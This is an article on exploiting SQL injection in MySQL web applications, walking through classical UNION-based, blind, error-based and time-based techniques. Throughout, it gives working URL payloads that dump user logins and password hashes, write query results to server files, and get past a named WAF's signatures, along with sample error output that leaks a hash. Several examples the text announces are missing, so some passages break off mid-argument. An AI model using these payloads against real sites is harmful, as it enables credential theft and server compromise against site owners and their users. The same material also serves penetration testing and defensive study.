SQL Injection is a method to attack a database bypassing firewalls. In this method, parameters transmitted to the database via web applications are modified so that the executable SQL query changes. To conduct an SQL Injection attack, every possible way to interact with the application (GET, POST, COOKIE, etc.) is used.
Attacks can be conducted for the following purposes:
1. Access data that is usually inaccessible or obtain system configuration data, which can be used to develop the attack vector. For example, a modified SQL query returns user password hashes, which are subsequently decrypted using brute-force search.
2. Access other systems through the computer storing a database. This sort of attacks can be conducted using database procedures and 3GL extensions that allow one to interact with operating and file systems.
SQL Injections can be divided into the following three groups according to the exploitation techniques:
1. Classical SQL Injection;
2. Blind SQL Injection;
3. Double Blind SQL Injection/TIME-based.
Let us consider each of these techniques in detail. Taking into account the fact that SQL Injection exploitation strongly depends on the features of the structured query language (SQL) used, we will confine ourselves to considering the most widespread database – MySQL. Moreover, we will assume that SQL Injection attack is conducted via SELECT query, not via INSERT or others.
Classical SQL Injection
In the first place, classical exploitation of SQL Injection vulnerabilities provides an opportunity to merge two SQL queries for the purpose of obtaining additional data from a certain table. If it is possible to conduct a classical SQL Injection attack, then it becomes much easier to get useful information from the database management system (DBMS). Attacks of this type usually exploit the union operator. If the body of the returned page can include only one entry from the table, one can use the technique of line-by-line reading:
?/id=1 limit 0 union select login,password from users limit 0,1
?/id=1 limit 0 union select login,password from users limit 1,1
?/id=1 limit 0 union select login,password from users limit 1 offset 0
?/id=1 limit 0 union select login,password from users limit 1 offset 1
Admittedly, obtaining data from a large table represents a rather long process if such approach is used. Therefore, when the user whose account is used to execute queries to MySQL has "file_priv" privileges, it becomes possible to output the SELECT query into a file:
?/id=1 limit 0 union select login,password from users into outfile '/tmp/users'
?/id=1 limit 0 union select login,password from users into dumpfile '/tmp/users'
Actually, ability to work with the file system during SQL Injection exploitation represents a step towards the ability to execute commands on server. This is why SQL Injection vulnerabilities belong to the class of "Command Execution" in standard terminology.
When the SQL query used for injection is executed for a table with limited number of columns, one can use the functions of data concatenation, such as concat() and concat_ws():
?/id=1 limit 0 union select concat(login,password) from users
?/id=1 union select concat_ws(':',login,password) from users
In cases when the injected query is followed by the "remains" of the "good" SQL query, one can remove this garbage using comments:
?/id=1 union select login,password from users--
?/id=1 union select login,password from users/*
?/id=1 union select login,password from users#
Everything was simple and easy until the moment when severe administrators started using various security filters (aka WAFs, Web Application Firewalls) to protect vulnerable web applications. These filters generally apply signature analysis, which represents their central failure. In many cases, capabilities of SQL allow one to bypass filtering of incoming data. For example, it is amusing to observe that KIS 2009 forbids this query:
/?id=1 union select password from users
while the following queries are let through without any response:
/?id=1 union select passwd from users
/?id=1 union select pass from users
/?id=1 union select password from user
/?id=1 union select login from users--
But what can we do if it is necessary to use exactly the column called "password" and the table called "users"? One possible way is to exploit the vulnerability using blind method:
/?id=1 and 1=if(ord((lower(mid((select password from users limit 0,1),1,1))))=NUM,1,2)--
In this case, KIS filter is bypassed even smarter ;) The signature reacts only to the strings "password" and "users" that follow the key word "union". In consideration of this peculiarity, we can build the following query that will bypass the filter:
/?id=1 and (select (@v:=password)from users limit 0,1) union select @v--
/?id=1 and (select (@v:=password)from users limit 1,1) union select @v--
However, sometimes it is impossible to influence the data returned by the application during conduction of an SQL Injection attack. In these cases, the vulnerability is called blind. It should be mentioned that this is the technique of Blind SQL Injection exploitation that allows one to bypass most filters (including WAFs) easily.
Blind SQL Injection
Blind SQL Injection appears when the vulnerable query reflects the application logic, but doesn't allow one to output any data into the page returned by the web application. Here is an example of vulnerable code in php containing a Blind SQL Injection vulnerability:
Capabilities of Blind SQL Injection are comparable with those of classical SQL Injection technique. Just like the classical technique of exploitation, Blind SQL Injection exploitation allows one to write and read files and get data from tablea, only the entries are read symbol-by-symbol. Standard blind exploitation is based on analysis of true/false logical expression. If the expression is true, then the web application will return a certain content, and if it is false, the application will return another content. If we consider the difference of outputs for true and false statements in the query, we will be able to conduct symbol-by-symbol search for data in a table or a file. Here is an example of vulnerability exploitation for the code given above:
/?id=1 and 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777)
If the table "users" contains a column "pass" and the first symbol of the first entry from this column is 97 (symbol "a"), then MySQL will return TRUE and the query will be true. Otherwise, it will return FALSE and the page will display "error" for the code given above.
The described technique had been applied for a long time, but the situation has cardinally changed when Russian magazine issues X07'09 and X09'09 were published. The information security investigator Qwazar described new approaches to Blind SQL Injection exploitation. The first proposed technique consists in using incorrect regular expressions that cause various negative reactions of MySQL during execution of the select query (in the course of SQL query execution, not at the stage of checking its syntax). Qwazar demonstrated that this approach being composed with the method proposed by Elekt (select 1 union select 2) allows one to find up to 12 characters using one query to the web application. The attack query has the following form:
Thus, if the table "users" contains a column "pass" and the first symbol of the first entry from this column is 0, then MySQL will return an error message "#1139 - Got error 'invalid repetition count(s)' from regexp". If the first symbol in the column "pass" is 1, then an error message "#1139 - Got error 'braces not balanced' from regexp" will be received, etc.
Another approach to speed up exploitation of Blind SQL Injections demonstrated by Qwazar (X09'09) consists is using MySQL error messages as "containers" for useful data (it is a real breakthrough in the field of Blind SQL Injection exploitation). For example, the following query
/?id=1 union select * from (select * from (select name_const((select pass from users limit 1), 14)d) as t join (select name_const((select pass from users limit 1), 14)e) b)a
will return an error message containing useful data from the column "pass" (e.g. an MD5 hash)
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'
With this method, one can get up to 64 bytes of useful data using one query to the web application! Functions of string concatenation concat() and concat_ws() allow one to make an effective and quick dump of the whole table. Unfortunately, the given ruse with the function name_const() will give results only for MySQL versions 5.0.12>5.0.64.
An idea to find a substitute for the function name_const() was developed and another useful function ExtractValue() that appeared in MySQL version 5.1.5 was discovered. This function is meant for data extraction from an XML data flow. However, it also has another pretty hacker application :) For example, the following query
/?id=1 and ExtractValue(1,concat(0x5C,(select pass from users limit 0,1)));
will return an error message
XPATH syntax error: '\f8d80def69dc3ee86c5381219e4c5c8'
Thus, we can read data from the table using Blind SQL Injection exploitation (MySQL v. 5.1.5 and later) and having a restriction of 31 useful bytes per one query to the web application. The "XPATH syntax error" is related to incorrect regular expression "\\".
Note: when the article was published, Qwazar offered the more interesting method to exploit Blind SQL Injection to which all MySQL versions later than 4.1.x. are affected.
Unfortunately, all described methods can be applied only if MySQL error messages are placed into the body of the returned page, which isn't always true. Well, what of that? Do we have to use tedious techniques of symbol-by-symbol search again? Not always!
One can often find an SQL Injection vulnerability in a numeric parameter of the web application; web application will return different contents depending on the specified figure. If we correlate these figures with the content and apply them onto the map of symbols being searched, then we will be able to read data from the table very effectively. For example:
News title 111 – identifier in the parameter id=3245 – the symbol being searched is 0
News title 222 – identifier in the parameter id=2456 – the symbol being searched is 1
News title 333 – identifier in the parameter id=4562 – the symbol being searched is 2
Here is an example of attack query (e.g. meant for accurate identification of the first symbol in an MD5 hash):
It should be mentioned that in this method, the length of HTTP request cannot be more than 8192 bytes. In other respects, the method is rather effective when MySQL error messages are not displayed in the returned page. In addition, the method is universal and doesn’t depend on the database being used. Proof of concept code is here.
Double Blind SQL Injection
Sometimes not only all error messages are excluded from the page returned by the web application, but the vulnerable query itself is used only for certain internal purposes. For example, it can serve for some event logging or internal optimization. These SQL Injection vulnerabilities belong to the Double Blind class.
Exploitation of this group of SQL Injections is based on analysis of time delays from the moment of sending a query to the web application till the moment of receiving the answer from it. In classical approach, the function benchmark() is applied. However, the function sleep() represents a better and more secure alternative, because it doesn’t use processor resources of server as the function benchmark() does. Here is an example of a simple implementation of symbol-by-symbol search based on analysis of time delays.